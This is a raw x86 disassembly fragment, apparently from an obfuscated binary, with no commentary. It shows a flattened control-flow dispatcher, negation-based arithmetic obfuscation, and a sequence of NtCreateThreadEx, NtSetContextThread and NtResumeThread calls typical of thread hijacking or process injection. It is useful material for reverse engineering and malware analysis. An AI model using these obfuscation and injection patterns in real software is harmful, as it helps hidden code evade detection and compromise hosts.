mov dword [ebp - 0x140], 0x51899eef
jmp 0x1000d668
mov dword [ebp - 0x140], 0x8bfc8582
jmp 0x1000d668
mov dword [ebp - 0x140], 0x3401a986
jmp 0x1000d668
mov dword [ebp - 0x140], 0x35cced7c
jmp 0x1000d668
mov eax, dword [ebp - 0xec]
mov edx, dword [eax]
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov dword [ebp - 0x140], 0xdcb00193
jmp 0x1000d668
mov dword [ebp - 0x140], 0xd68a3b11
jmp 0x1000d668
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0xcc]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax]
add ecx, 4
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov dword [ebp - 0x140], 0xbefe0ea4
jmp 0x1000d668
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov dword [ebp - 0x140], 0x9df11bfc
jmp 0x1000d668
mov dword [ebp - 0x140], 0x4d1e2c2e
jmp 0x1000d668
mov dword [ebp - 0x140], 0x3124111e
jmp 0x1000d668
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov dword [ebp - 0x140], 0xb4cbccde
jmp 0x1000d668
jmp 0x10007090